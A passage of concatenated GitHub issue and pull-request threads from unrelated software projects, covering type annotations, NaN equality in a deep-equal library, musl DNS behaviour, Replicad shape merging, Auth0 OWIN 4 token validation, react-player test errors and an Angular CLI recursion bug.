https://rink.hockeyapp.net/manage/apps/37029/crash_reasons/111598806

Closing in favour of #773.


Depends type annotation

Hi there!
Currently, the Depends type annotation has it returning an instance of model.Depends
def Depends(
    dependency: Callable[P, T],
    *,
    use_cache: bool = True,
    cast: bool = True,
) -> model.Depends:
    return model.Depends(
        dependency=dependency,
        use_cache=use_cache,
        cast=cast,
    )

I wonder, wouldn't it make more sense if it returned T so that it passes the type checker when used in this way:
def some_function(
    dependency: SomeClass = Depends(get_dependency)
):

When get_dependency returns an object of type SomeClass.

For now it is passing the mypy checks, but, probably, it makes a sence indeed.
In this implementation I targeted to the original FastAPI Depends and Any in this case I like more cuz it need no to hack inner mypy checks (if we marks response as T we will have a real return type conflict)

I need to think about it

No problem. FWIW, I'm getting an error in Pylance

I changed Depends return type to Any. This way you still have to specify your annotation manually, but any errors are impossible.


Hitting enter in recipient bar topic edit doesn't do anything

After editing the topic from the recipient bar, hitting enter should do the same thing as clicking on the checkbox. You'll need to log in as admin or find a message with no topic to be able to get to this input box.

Possibly relevant, from message_edit.js. Is there already an issue about this?
function handle_edit_keydown(from_topic_edited_only, e) {
    var row, code = e.keyCode || e.which;

    if (e.target.id === "message_edit_content" && code === 13 &&
        (e.metaKey || e.ctrlKey)) {
        row = $(".message_edit_content").filter(":focus").closest(".message_row");
        if (message_edit.save(row, from_topic_edited_only) === true) {
            message_edit.end(row);
        }
    } else if (e.target.id === "message_edit_topic" && code === 13) {
        // Hitting enter in topic field isn't so great.
        e.stopPropagation();
        e.preventDefault();
    }
}

I bet what's going on here is that we have two items with ID message_edit_topic, one for the topic part of the larger message edit form, and one for the inline topic edit.  That code is for the larger message edit form, and makes sense in that context.  I suspect an easy fix would be to change the ID for the inline topic edit form.

@rishig @timabbott I have changed the code to this
else if (e.target.id === "message_edit_topic" && code === 13) {         // Hitting enter in topic field isn't so great.         var recipient_row = $(this).closest(".recipient_row");         if (message_edit.save(recipient_row, true) === true) {             current_msg_list.hide_edit_topic(recipient_row);         }         e.stopPropagation();         e.preventDefault();
And this seems to get it working.
Is the right direction to go about with this issue?

@deekshaarul that was the right direction, however, due to the duplicate IDs issue fixed in d14f2763224a573a55369959baebf14244f207eb, that code didn't work quite correctly.  Now that the issue is fixed, we merged essentially your fix (and also did some cleanup to remove the need to do that if statement every time we call message_edit.save(), see 7ebfa25f5aa280a4c1e995b2d1cb944986cc176e).  Huge thanks for figuring out how to do this @deekshaarul!

Thank you @timabbott . I am glad I could help. :)


when will the Mask-Rcnn be implemented

:question: Question

hello,because medicaldetectiontoolkit has been deprecated,I want to know when will the Mask-Rcnn 3d version be integrated into this framework,Looking forward to it.Thank you very much!

same question,  looking forward to this update:)

Sorry for the delay, I was on vacation.
We don't have a specific ETA yet but we are currently finalising our results and hope to write everything up soonish (2-3 months).

Hi! today I was going to start writing some code to use Mask-RCNN in nndetection, then I found this thread. Now I am not sure I should make the effort or perhaps just wait. Is this still planned to be released soonish? Thank you!

Yes, still planning to add R-CNN models, it will take a bit more time though since another project took more time than expected (still stuck at ~2 month)

same question, looking forward to this update:).
If i want to modify the modules of retina UNet or replace it by another network, I want to know which file and which part should i modify?

Hi, I have the same question. Are you planning to integrate Mask R-CNN into nnDetection? Thank you.


Replace === with Object.is

Fix #6

Coverage remained the same at 100.0% when pulling 2fc40a0867037710d324c6619a08824fbb6267d2 on langpavel:patch-1 into 650ee024e62e942b9d9618e0d557fc449157a4d5 on epoberezkin:master.

Coverage remained the same at 100.0% when pulling 2fc40a0867037710d324c6619a08824fbb6267d2 on langpavel:patch-1 into 650ee024e62e942b9d9618e0d557fc449157a4d5 on epoberezkin:master.

This may be semver major:
https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/is#Browser_compatibility

@MadRabbit Whole point is that two NaNs are not equal :-)
Try yourself:
langpavel@lang:~$ node
> NaN === NaN
false

yeah, i get that. my point is that you're replacing === with Object.is which will slow the thing down. maybe there is a way to keep === as the first check for regular values, and then check for NaNs after that

As mentioned in https://github.com/epoberezkin/fast-deep-equal/issues/6#issuecomment-382360360, plofill for Object.is looks like that:
    if (x === y) { // Ref check
      // check for +0 != -0
      return x !== 0 || 1 / x === 1 / y;
    } else {
      // check NaN == NaN
      return x !== x && y !== y;
    }

It also solve +0 and -0 nonequivalence. Zero is zero, we are operating in integer and real numbers set, not in hyperreals
-0 !== 0 // false
-0 == 0 // true

Hand on :hearts:, this library is used to see if two values are structurally equivalent so this cases should be treated this way…

@MadRabbit back to you, polyfill will be one day really slower than Object.is…
Object.is is primitive much more natural to machine than loosy == and may be/may be not more natural than ===

Whoops :slightly_smiling_face:
-0 !== 0  // false
-0 === 0  // true
-0  == 0   // true
-0  != 0   // false
Object.is(-0,0) // false

@MadRabbit Support is pretty good, except IE11 and some server side engines:

https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/is#Browser_compatibility
http://kangax.github.io/compat-table/es6/#test-Object_static_methods_Object.is

Related reading: https://developer.mozilla.org/en-US/docs/Web/JavaScript/Equality_comparisons_and_samenes

Well if its not broadly supported it shouldnt be in a library then.
Have you looked at how a polyfill looks like for the feature? Maybe backporting that would make more sense

On 21 Apr 2018, at 11:50 am, Pavel Lang<EMAIL_ADDRESS>wrote:
@MadRabbit Support is pretty good, except IE11 and some server side engines:
https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/is#Browser_compatibility
http://kangax.github.io/compat-table/es6/#test-Object_static_methods_Object.is
—
You are receiving this because you were mentioned.
Reply to this email directly, view it on GitHub, or mute the thread.

Hi @MadRabbit, I created 2 nice commits, one for equal(NaN, NaN) → true,
second commit is only test — spec

Benchmark :muscle:
fast-deep-equal         122,360 ops/sec   ±0.96% (88 runs sampled)
nano-equal               74,972 ops/sec   ±0.76% (87 runs sampled)
shallow-equal-fuzzy     100,578 ops/sec   ±2.10% (88 runs sampled)
underscore.isEqual       72,798 ops/sec   ±0.85% (86 runs sampled)
lodash.isEqual           18,979 ops/sec  ±12.61% (81 runs sampled)
deep-equal               26,534 ops/sec   ±0.81% (88 runs sampled)
deep-eql                 15,943 ops/sec   ±1.09% (83 runs sampled)
assert.deepStrictEqual      843 ops/sec   ±1.25% (88 runs sampled)

The fastest is fast-deep-equal
Notable differences
nano-equal arrays pseudo array and equivalent array are not equal TypeError: a.every is not a function
    at eqArray (…/node_modules/nano-equal/src/index.js:17:18)
    at nanoEqual (…/node_modules/nano-equal/src/index.js:126:20)
    at Object.<anonymous> (…/benchmark/index.js:31:13)
    at Module._compile (module.js:652:30)
    at Object.Module._extensions..js (module.js:663:10)
    at Module.load (module.js:565:32)
    at tryModuleLoad (module.js:505:12)
    at Function.Module._load (module.js:497:3)
    at Function.Module.runMain (module.js:693:10)
    at startup (bootstrap_node.js:188:16)
different result nano-equal RegExp objects not equal RegExp objects (different pattern)
different result nano-equal RegExp objects not equal RegExp objects (different flags)
different result nano-equal RegExp objects RegExp and object are not equal
different result shallow-equal-fuzzy objects empty array and empty object are not equal
different result shallow-equal-fuzzy Date objects not equal date objects
different result shallow-equal-fuzzy Date objects date and object are not equal
different result shallow-equal-fuzzy RegExp objects not equal RegExp objects (different pattern)
different result shallow-equal-fuzzy RegExp objects not equal RegExp objects (different flags)
different result shallow-equal-fuzzy RegExp objects RegExp and object are not equal
different result underscore.isEqual scalars 0 and -0 are equal
different result deep-equal scalars 1 and true are not equal
different result deep-equal scalars 0 and false are not equal
different result deep-equal scalars NaN and NaN are equal
different result deep-equal objects empty array and empty object are not equal
different result deep-equal Date objects date and object are not equal
different result deep-equal RegExp objects not equal RegExp objects (different pattern)
different result deep-equal RegExp objects not equal RegExp objects (different flags)
different result deep-equal RegExp objects RegExp and object are not equal
different result deep-eql scalars 0 and -0 are equal
different result assert.deepStrictEqual scalars NaN and NaN are equal

@MadRabbit Can you look at, please?

looks pretty neat to me

NaN equal to NaN: nano-equal, shallow-equal-fuzzy, underscore.isEqual, lodash.isEqual, deep-eql, ramda.equal
NaN not equal to NaN: deep-equal, assert.deepStrictEqual
So it should be change here.

Thanks


Initial settings for WebApi and Angular projects with Docker support

The bin, obj folder should be excluded from the commits. Use the .gitignore file for pointing what files/folders are excluded automatically from commits.
For example:
Ignore Visual Studio temporary files, build results, and
files generated by popular Visual Studio add-ons.
User-specific files
*.suo
*.user
*.userosscache
*.sln.docstates
User-specific files (MonoDevelop/Xamarin Studio)
*.userprefs
Build results
[Dd]ebug/
[Dd]ebugPublic/
[Rr]elease/
[Rr]eleases/
x64/
x86/
bld/
[Bb]in/
[Oo]bj/
[Ll]og/
Visual Studio 2015 cache/options directory
.vs/
Visual Studio profiler
*.psess
*.vsp
*.vspx
*.sap

Recommendation: If your pull request contain several commits create PR with Squash option. In this case all your commits will be reviewed and merged as one single commit.

Exclude bin, obj, .vs and other folders/files from your commits

Autogenerated files/folders are removed from commits.


Added RandomStringUtils Test with prevetted tableName

Fixes #1785
The reason for test failure for RandomStringUtils#random was the difference in checks present for the table name. Please see here for Hbase1 TableName and here for Hbase2 TableName.

Hbase1  expects character from the alphabetic character between [a-zA-Z0-9.]. It doesn't support any other characters, This is similar in the case of Cloud Bigtable as well.

Hbase2 seems to accept multi-lingual alphabetic character even of different language. For example"a웷忀꺡힟" works in Hbase2 but not with CloudBigtable.

Question: Should we add a warning log or some comments in BigtableAdmin about these differences?

@sduskis If you have some time then Please have a look.


"Relink BRAW Clips within an LIBRARY / EVENT / PROJECT" drop zone broken in Final Cut Pro 11

Reported by Alex Sofonea via email.

Thanks heaps for reporting! This should be fixed in the upcoming BRAW Toolbox v1.4.2 (Build 72).


feat(snippetz): add dart/flutter http package

Problem
flutter / dart code generator #2960
Solution
this pr adds flutter and dart code generator to snippetz package
Checklist
I’ve gone through the following:

[x] I’ve added an explanation why this change is needed.
[x] I’ve added a changeset (pnpm changeset).
[ ] I’ve added tests for the regression or new feature.
[ ] I’ve updated the documentation.

awesome! thanks so much for this pr @Hamidrzash !


Fix musl libc dns problems with glibc?

Hi, can you Fix the DNS-problems of alpine using glibc?
Since musl libc ignores SEARCH and DOMAIN in /etc/resolv.conf and uses parallel querying of name servers it can't be used in environments that require that (like kubernetes).
I don't know how this can be done but it looks like you are more familiar with the differences of musl libc and glibc.

Using glibc and binaries linked against glibc will workaround the issue with musl libc by avoiding musl libc completely. However, this is a bit pointless to use Alpine with glibc as you almost completely give up on package management as Alpine's packages are linked against musl libc.
Here is the proof (I use /usr/bin/ping from my host OS, Arch Linux, which is glibc based):
$ docker run -it --rm --dns <IP_ADDRESS> --dns-search google.com -v /usr/bin/ping:/usr/bin/ping -v /usr/lib/libcap.so.2:/usr/lib/libcap.so.2 -v /usr/lib/libattr.so.1
:/usr/lib/libattr.so.1 frolvlad/alpine-glibc sh
/ # /usr/bin/ping photos
PING photos.google.com (<IP_ADDRESS>) 56(84) bytes of data.
64 bytes from mx-ll-110.164.6-187.static.3bb.co.th (<IP_ADDRESS>): icmp_seq=1 ttl=56 time=18.0 ms
64 bytes from mx-ll-110.164.6-187.static.3bb.co.th (<IP_ADDRESS>): icmp_seq=2 ttl=56 time=17.7 ms
64 bytes from mx-ll-110.164.6-187.static.3bb.co.th (<IP_ADDRESS>): icmp_seq=3 ttl=56 time=18.5 ms
^C
--- photos.google.com ping statistics ---
3 packets transmitted, 3 received, 0% packet loss, time 2003ms
rtt min/avg/max/mdev = 17.723/18.130/18.591/0.372 ms

However, using Alpine's version of ping (in /bin/ping) in the same session, it reveals the issue with musl libc:
/ # /bin/ping photos
ping: bad address 'photos'


Update ADOPTERS.MD to add Canonical

Adding Canonical to the adopters list

Description

Adding Canonical to the adopters list
References

Review Checklist

[x] I have clicked on "allow edits by maintainers".
[ ] I have added documentation for new/changed functionality in this PR or in a PR to openfga.dev [Provide a link to any relevant PRs in the references section above]
[x] The correct base branch is being used, if not main
[ ] I have added tests to validate that the change in functionality is working as expected

Thanks!


Feat/reactui modal

When opening the modal does the body get an overflow: hidden; to stop scrolling when the modal is visible?

Is this styled correctly? The close button looks strange


sbt-dotty is gone, but sbt still reference it?

https://github.com/sbt/sbt/search?q=sbt-dotty
sbt-dotty is official dropped. not maitained anymore,
sbt still reference it?

https://github.com/lampepfl/dotty/commit/1092b356e6f032978e04963ad8e76cd2b905d803
by dotty commit message, we know sbt-dotty was not continue , and been dropped since then

Yes. sbt 1.5.0 released in 2021 (https://eed3si9n.com/sbt-1.5.0) folded Scala 3 support into sbt, a month before the release of Scala 3.0.0. During the beta development, sbt-dotty implemented the integration and we still have the remnant in the integration test, which we probably kept around since we wanted to make sure that the presence of sbt-dotty doesn't break sbt, especially during the transition period. Now that sbt 1.5.0 transition is behind us, we can probably remove reference to sbt-dotty.
If you're up for it, we'd be happy to accept pull requests to remove those tests.


Added documentation for JavaScript Loops

Description 📜
Added an interactive Documentation on JavaScript Loops.
Fixes # 380

JavaScript Loops 📝

[ ] Au#dio (Should be in mp3 format Includes speech clarity, Concise ,Low distortion)
[ ] Vi#deo (Animations, screen-recordings, presentations and regular explanatory films are all possibilties etc)
[x] Doumentation (Content Creation in the form of codes or tutorials)
[ ] Other (If you choose other, Please mention changes below)

Domain of Contribution 📊

[ ] Android Dev #(Flutter)
[ ] Android Dev #(Java)
[ ] Android Dev #(Kotlin)
[ ] Backend Dev #(Java)
[ ] Backend Dev #(.NET)
[ ] Backend Dev #(PHP)
[ ] Backend Dev #(Python)
[ ] C/#CPP
[ ] Competitive #Programming
[ ] Cyber #Security
[ ] DS#A
[ ] Data#base
[ ] Datascience with #Python
[ ] Datascience with #R
[ ] Frontend Dev #HTML/CSS/JS
[ ] Frontend Dev #React/Angular/Vue
[ ] Go#lang
[ ] Interview #Prep
[ ] Java_#Domain
[x] JavaScript
[ ] ME#RN
[ ] Machine #Learning
[ ] Open #Source
[ ] Python_#Domain
[ ] Ru#st
[ ] Statis#tics
[ ] UI/#UX

Checklist ✅

[x] I follow Contributing Guidelines & Code of conduct of this project.
[x] I have performed a self-review of my own code or work.
[x] I have commented my code, particularly in hard-to-understand areas.
[x] My changes generates no new warnings.
[x] I'm GWOC'21 contributor

Screenshots / Gif (Optional) 📸

I would like to work on this issue.

I think your issue was missed due to improper formatting. Sorry about that, please try to use the format specified in the contribution guide here: https://github.com/girlscript/winter-of-contributing/blob/Javascript/JavaScript/CONTRIBUTING.md
Please look for another issue or create your own! Thank you so much for the contribution!
P. S. Are you joining our weekly acknowledgement sessions on Discord?


Missing documentation on 3D operations

I'm building some shapes by extruding, and then I'd like to combine them in a global object that I can export / texture / visualize in Three.js, but I don't know how to combine the extruded objects into a single combined object?

Perhaps this rough chapter of the manual for Replicad provides some ideas?
https://github.com/raydeleu/ReplicadManual/wiki/8.-Combine-solids-to-parts
If the parts are overlapping I would advise to use the .fuse method. An example is
let threeArm = arm1.fuse(arm2);
threeArm = threeArm.fuse(arm3).fillet(fl,(e)=>e.inDirection("Z"));

I have not used the functions compoundShapes(shapeArray[]) or makeCompound(shapeArray[]), but I assume you just add the shapes you want to combine into an array and then use the function on this array.
A quick test:
const {draw,makeBaseBox,makeCompound} = replicad

function main()
{
let length = 100;
let width = 50;
let height = 12;
let radius = 5;
let tolerance =0.001

let box1 = makeBaseBox(length,width,height)
let box2 = makeBaseBox(length,width,height).translate([150,0,0])

let compound;
compound = [{shape: box1},{shape: box2}]
compound = makeCompound([box1.clone(),box2.clone()])  // if you comment this line there are two shapes

return compound
}

If you remove the second definition of compound you will see two shapes in the Visualizer or Workbench, if you use the makeCompound statement the two shapes are considered to be a single entity.

Thanks! Hadn't seen that there was a manual!

@raydeleu hmmmm doesn't seem to work the way I want, I'm trying to do something like this:
const cellPositions=[{x:0, y:0}, {x: 0, y: 1}, ...];
const renderCell = () => {
  return drawPolysides(1.0, 6).sketchOnPlane('XZ').extrude(5.0);
}
export const createCompound = () => {
  const cells = cellPositions.map((p) => {
    const cell = renderCell(data);
    cell.translate(p.x, 0, p.y);
    return cell;
  });
  const compound = // ???? an object containing all the hexagon cylinders
  return compound;
};

And when I try using
const renderCell = (data: RenderData) => {
  return sketchPolysides(data.cellDiameterM / 2.0, 6, 0, { plane: 'XZ' }).extrude(data.cellLengthM);
}

and

const cells = data.cellPositions.map((p) => {
const cell = renderCell(data);
cell.translate(p.x, 0, p.y);
return cell;
});
let compound = cells[0];
for (const cell of cells.slice(1)) {
compound = compound.fuse(cell);
}
return compound;

there's an error in the browser saying:

Error: This object has been deleted
at get wrapped [as wrapped] (replicad.js?v=94009da6:44:13)
at Solid.fuse (replicad.js?v=94009da6:3052:43)
at _createBatteryModelWorkerFn (cad-battery.ts:72:25)
at :5173/src/lib/cad-worker.ts?type=module&worker_file:23:19

I was not able to understand your code completely (especially the cell of cells.slice(1) puzzles me) but my first impression is that you want to create a grid of hexagon shapes. I have seen the error message before and it always was due to the fact that Replicad deletes a shape once you have performed a function or method on it. The idea is to save memory on shapes that are no longer used. In some cases it helps to perform a method on a .clone()instead of the original shape. You can see the example in my code. It could be that in the statementcompound = compound.fuse(cell)the shapecell` is deleted.

Thanks, figured out how to do it (though I'm not sure why there was an error in my original code)
I'm wondering: the fuse operation is quite slow, is there a way to merge shapes together without doing the fuse ?

You could try the makeCompound() function. With fuse the kernel tries to calculate a boolean union of your shapes. If the shapes are not overlapping this is a useless calculation, yet takes time.


Schema erwin

The following changes were made in this branch:

create tables item, music_album and genre in schema.sql

The following changes were made since the last code review:

Delete item table and add inherited properties to music_album table

Since the last code review the following changes were made:

add relation between music_album table and genre, label and author tables ✅


bug(material/tooltip): fix for tooltip created a new problem

Is this a regression?

[X] Yes, this behavior used to work in the previous version

The previous version in which this bug was not present was
13.2.4
Description
Hi,
I think that this fix: https://github.com/angular/components/pull/24475 created a new issue:
When the tooltip is showing you can move the mouse to it (nice), however when you move the mouse even further away, the tooltip should having been closed. But the current behavior is that the tooltip remains until you leave the margin area (I think), causing the transparent margin to 'hide' controls beneath the tooltip and they cannot be reached using the mouse.
Reproduction
See this example: https://stackblitz.com/edit/angular-tmb9al-4kaa4l?file=src/app/tooltip-delay-example.html

Hover over button and tooltip shows.
Try clicking on the input field while the tooltip is showing.

Expected Behavior
Tooltip should not block focusing on elements (behavior as it was before 13.2.5).
Same demo with 13.2.4: https://stackblitz.com/edit/angular-tmb9al-1wtpjv?file=package.json,src%2Findex.html,package-lock.json,src%2Fapp%2Ftooltip-delay-example.html
https://user-images.githubusercontent.com/5642226/216398533-2fdcc1c1-7a0a-44a5-8c81-2cedc3560cff.mp4
https://user-images.githubusercontent.com/5642226/216398541-294e5f47-af65-4dee-9193-009f003ebfec.mp4
Actual Behavior
Cannot click the input field.
Environment

Angular: 13.2.5
CDK/Material: 13.2.5
Browser(s): Edge, Firefox

Can this also be fixed in legacy components please?


OWIN 4 support

Is there any ETA to support OWIN 4?

Currently, there is no way around the incompatibilities I laid out over here:
https://community.auth0.com/t/webapi-owin-example-is-not-working/9704/2

@jerriep Does it mean that with OWIN 4 it's impossible to validate issued JWT tokens? It sounds weird.
In you comment you wrote:

One definite dependency issue I cannot appear to work around is that the System.IdentityModel.Tokens.Jwt 5.x library does not work with non-ASP.NET Core projects. You can also see this discussed over here:
https://github.com/IdentityServer/IdentityServer3/issues/3017

However, the mentioned issue in IdentityServer3 was caused by the fact that the System.IdentityModel.Tokens.Jwt v5 was incompatible with OWIN 3. It's not the case for now, since it can work with OWIN 4.

@VyacheslavPritykin
Let's maybe start off with establishing what it is you want to use in OWIN 4. This repo contains source for multiple NuGet packages. Which one is it exactly you are trying to use with OWIN 4?

@jerriep I'm interested in Auth0.Owin.OpenIdConnectSigningKeyResolver.
I want to update OWIN to v4 in one project and it seems that after that the customers won't be able to use Auth0 access tokens as authorization tokens for this project.

I tried to get OpenIdConnectSigningKeyResolver working on OWIN 4 a month or so ago and was unable to do so. I ran into multiple runtime issues - not just the ones listed.
I plan to look at it again, but it is unlikely it will happen in the next month. If you need this urgently you are welcome to look into it yourself, and, if you can get it working, submit a PR.

I can give no guarantees that it will support OWIN 4, due to my previous problems with getting it working. But, I will give it another go to see whether I can make everything working together.
Will keep you updated.

I was able to get OWIN 4 to work without using OpenIdConnectSigningKeyResolver.
I have the following NuGet packages:
Microsoft.Owin.Host.SystemWeb 4.0.0
Microsoft.IdentityModel.Protocols.OpenIdConnect 5.2.2
Microsoft.IdentityModel.Tokens 5.2.2
Microsoft.Owin.Security.Jwt 4.0.0
Then I can just use the following: (Here's my modifications to Auth0 Quickstart guide found here: https://auth0.com/docs/quickstart/backend/webapi-owin/01-authorization)
public void Configuration(IAppBuilder app)
{
    var domain = $"https://{ConfigurationManager.AppSettings["Auth0Domain"]}/";
    var apiIdentifier = ConfigurationManager.AppSettings["Auth0ApiIdentifier"];

    var configurationManager = new ConfigurationManager<OpenIdConnectConfiguration>(
                Domain.TrimEnd('/') + "/.well-known/openid-configuration",
                new OpenIdConnectConfigurationRetriever());
    app.UseJwtBearerAuthentication(
        new JwtBearerAuthenticationOptions
        {
            AuthenticationMode = AuthenticationMode.Active,
            TokenValidationParameters = new TokenValidationParameters()
            {
                ValidAudience = apiIdentifier,
                ValidIssuer = domain,
                IssuerSigningKeyResolver = (token, securityToken, identifier, parameters) =>
                {
                    var openIdConnectConfig = Task.Run(() => configurationManager.GetConfigurationAsync()).GetAwaiter().GetResult();
                    return openIdConnectConfig.SigningKeys;
                }
            }
        });

    // Configure Web API
    WebApiConfig.Configure(app);
}

OWIN 4 support is now available.
For web applications, the standard OIDC middleware should be used as per the Quickstart:
https://auth0.com/docs/quickstart/webapp/aspnet-owin
For Web API, the package has been updated for OWIN 4. Please refer to Quickstart:
https://auth0.com/docs/quickstart/backend/webapi-owin


fix: readme and efi pipeline description

What this PR does / why we need it:
fix: readme and efi pipeline description
add missing windows 10 support to description of efi pipeline and README
Release note:
NONE

/retest


add negative for min to support tricycle landing gear

if we used tricycle landing gear, we need the wheel to  touch the ground to control the direction

seems to make sense.  @jinchengde any opinions on this old PR that attempts to improve consistency or centralize the various pitch offsets?  https://github.com/PX4/Firmware/pull/11845

@Antiheavy actually, we don't used FW_PSP_OFF so I have no experience for this old PR.
and in my opinion, I agree with @dagar that FW_PSP_OFF is only effective for pitch trim at cruise. advanced, it should be dynamic regulation based on the speed of different stage(takeoff, cruise, land)


pass chatModels and onCurrentChatModelChange through React context

This makes it so more of the exthost<->webview RPC code lives in App.tsx, which is fitting. It also simplifies the props we need to pass down.
We did the same thing for enhanced context a couple months ago.
Test plan
CI

I am coding on fun stuff and was keeping this rebased for my own purposes anyway. Going to merge. :)


TypeError: Cannot read property 'play' of undefined

Current Behavior
When you change the playing prop during test (using Jest), the following error is thrown.
TypeError: Cannot read property 'play' of undefined
Expected Behavior
No Error to be thrown
Steps to Reproduce
React component
import React from 'react';
import ReactPlayer from 'react-player';

const VideoTest = ({ play }) => {
  return (
    <ReactPlayer
      url='./test-video.mp4'
      playing={!!play}
      className='react-player'
      width='100%'
      height='100%'
      style={{ lineHeight: 0 }}
    />
  );
};

VideoTest.displayName = 'VideoTest';

export default VideoTest;

Test File
import React from 'react';
import { mount } from 'enzyme';

import VideoTest from './VideoTest';

describe('[molecule] VideoPlayerTest', () => {
  it('testing resetting play', () => {
    const wrapper = mount(<VideoTest file='http://clips.vorwaerts-gmbh.de/big_buck_bunny.mp4' />);

    wrapper.setProps({ play: true });
    wrapper.setProps({ play: false });
  });
});

Environment

Test runner: Jest
Browser: JsDom
Operating system: Windows

I'm guessing the ref function for FilePlayer isn't running during Enzyme's mount:
https://github.com/CookPete/react-player/blob/2a9e09c7405a67ac767c6f8f03b0559e541046e0/src/players/FilePlayer.js#L272-L278
The prop change in the test will attempt to do this.player.pause() but if the ref hasn't been resolved to the video/audio element then it will cause the error you describe.
I guess the solution is to use shallow rendering instead? You're probably always gonna run in to issues with mount, assuming audio/video doesn't work correctly in jsDom.

hm. I can try to test with shallow.

I have the same issue using react-player/lazy.
I'm changing the playing prop, before the video is ready:
function Video({ src, autoplay }) {
  const { ref, wasInViewport } = useWasInViewport({ threshold: [0.66] })

  return (
    <ReactPlayer
      url={src}
      muted={autoplay}
      playing={autoplay && wasInViewport}
      controls
    />
  )
}

I've managed to work around it by listening for onReady, but it would be nice if that wasn't needed:
function Video({ src, autoplay }) {
  const [ready, setReady] = React.useState(false)
  const { ref, wasInViewport } = useWasInViewport({ threshold: [0.66] })

  return (
    <ReactPlayer
      onReady={() => setReady(true)}
      url={src}
      muted={autoplay}
      playing={autoplay && ready && wasInViewport}
      controls
    />
  )
}


PR: Additional UI/UX improvements for Files and Projects

Description of Changes

Use a generic icon for unknown files instead of trying to detect if they are binary or not. That should speed up performance because relying on chardet for binary detection is slow.
Don't show full path in tooltips of files and directories in Projects because it's not really necessary.
Hide .orig files from view in Projects. Those are generated by git when a merge fails so we don't really need to display them.
Add more padding to QTreeWidget/QTreeView items to make the interface look less packed.
Switch between open/closed folder icons when collapsing/expanding directories in Files and Projects. That provides a better UI for those panes.
Use Spyder project icon for the project root directory and its plugin.

Visual changes

Before
After

Issue(s) Resolved

Part of #10081.
Affirmation
By submitting this Pull Request or typing my (user)name below,
I affirm the Developer Certificate of Origin
with respect to all commits and content included in this PR,
and understand I am releasing the same under Spyder's MIT (Expat) license.

I certify the above statement is true and correct: @ccordoba12

Hello @ccordoba12! Thanks for opening this PR. We checked the lines you've touched for PEP 8 issues, and found:

In the file spyder/utils/icon_manager.py:

Line 249:80: E501 line too long (94 > 79 characters)
Line 273:80: E501 line too long (85 > 79 characters)

I already discussed these changes with the UX team and they agree with them. So, I'm going to merge this one.


Disable code related to upgrades after Sapling

Disable all code related to upgrades after Sapling (Blossom+) not supported in komodo

It is enough to implement this issue #40 which requires to disable all private transactions.
The period before will be covered by checkpoints


Does not run under any setting

Gives error
FAILED: JSON.parse: unexpected character at line 1 column 1 of the JSON data

Hey @malroth, great seeing you here! :D
Acknowledging this but haven't had a chance to look into it yet.  Can you just confirm your setup?  Running locally, or deploying to vercel?  Running against a local docker container, or remotely against a banana instance?
I admit that running outside of kiri.art has been a big neglected, as this part of the project was much less popular than I expected vs the live site and the (also open source) stable diffusion docker-diffusers-api backend.  So would like to improve on that as soon as I have time.
As usual, a lump of extra free tokens for your reporting, patience, and most importantly, trying this out locally!

you might have forgotten to set some environment variables


pfnotification service does not make data available to html template

The related provider should be rewritten, no question about that. Until that time, this fix makes $rootScope.notification available to the pfNotificationList directive.
Previous behavior, where  was declared, notifications would not appear when the Notification (Notification.error for example) provider was invoked.
Present behavior (with this commit)  will now display the list of cued notifications no matter where it's declared.

+1 on the rewrite. The notifications service should just be injected into the directive and rootscope should not be involved. As for the fix any reason why you didn't just use an anonymous controller function?

readability primarily, out of habbit from the product i am most familiar
with at the moment, can do if desired
On Fri, Oct 9, 2015 at 1:49 PM, Eleni Rundle<EMAIL_ADDRESS>wrote:

+1 on the rewrite. The notifications service should just be injected into
the directive and rootscope should not be involved. As for the fix any
reason why you didn't just use an anonymous controller function?
—
Reply to this email directly or view it on GitHub
https://github.com/patternfly/angular-patternfly/pull/121#issuecomment-146945847
.

OK LGTM

LGTM


Error during installation

While trying to install the SDK on Raspbian:
There was an error extracting the toolchain from '/opt/azurespheresdk/Sysroots/3/tools/exp23-appsdk-linux-blanca.sh'.
Unsure if this is specific to the platform, working on raspberry pi 3B.
Could you provide me with some pointers?

Document Details
⚠ Do not edit this section. It is required for docs.microsoft.com ➟ GitHub issue linking.

ID: 82d74497-55b9-cf91-47a3-13126cd0e79f
Version Independent ID: 3ecce7c5-23ab-ff8a-dc4c-35b3044f0d96
Content: Install the Azure Sphere SDK for Linux
Content Source: AzureSphere/articles/install/install-sdk-linux.md
Product: azure-sphere
GitHub Login: @sethmcevoy
Microsoft Alias: azurespheredocs

Hello @push7joshi , thank you for your feedback.
Please see the documentation here. As a prerequisite you will need "A computer running Ubuntu 18.04 LTS Edition. Only this edition is supported in the current release."
All Best

rookie mistake, my bad.
Thanks for your prompt response


Why AGE does not consider path as a list?

There are certain list functions such as head() and last() that return the first and last element of the list but these functions fail on the path variable that is a list too. For example, I have the following query where p is list of vertices and edges
SELECT * FROM cypher('graph', $$ MATCH p = (u {name : "A"})-[e: DISTANCE*]->(v {name : "C"}) RETURN head(p) $$) AS (result agtype);
The following error is shown

ERROR:  head() argument must resolve to a list or null

What is the reason for this?

Path may look like a list but it is not the same thing as a list in cypher. Therefore, the head() function cannot be used directly on a path object. Instead, you can extract the vertices and edges from the path using the nodes() and relationships() functions respectively, and then apply the head() function to the resulting lists. For example, to get the first vertex and first edge of the path, you can modify your query like this:
SELECT * FROM cypher('graph', $$
    MATCH p = (u {name : "A"})-[e: DISTANCE*]->(v {name : "C"})
    RETURN head(nodes(p)), head(relationships(p))
$$) AS (res1 agtype, res2 agtype);

Alright, thanks for clarifying.


RTL support in markdown

I'd like to create books in arabic could you tell me how could I handle properly both rtl and non rtl markdown

Click to see Hill for issue #220

Click to see Hill for all issues

created by Async

@ymeskini This project uses marked for markdown, no such support at this moment: https://github.com/markedjs/marked/issues/694


@ngtools/webpack: Maximum call stack size exceeded with barrels

Please provide us with the following information:

OS?
macOS Sierra
Versions.
angular-cli: 1.0.0-beta.29
node: 6.9.0
os: darwin x64
@ngtools/webpack: 1.2.6
Repro steps.

Create a new project with ng new project
Create a folder within the src directory with the following three files:

example/foo.ts:
export const foo = 'bar';

example/bar.ts:
import { foo } from './';

export const bar = foo;

example/index.ts:
export * from './foo';
export * from './bar';

Inside app.component.ts:

import { Component } from '@angular/core';

import { bar } from '../example';

@Component({
  selector: 'app-root',
  templateUrl: './app.component.html',
  styleUrls: ['./app.component.css']
})
export class AppComponent {
  title = bar;
}

Start the server with ng serve
Re-save example/foo.ts to force a re-compile

The log given by the failure.
$ ng serve

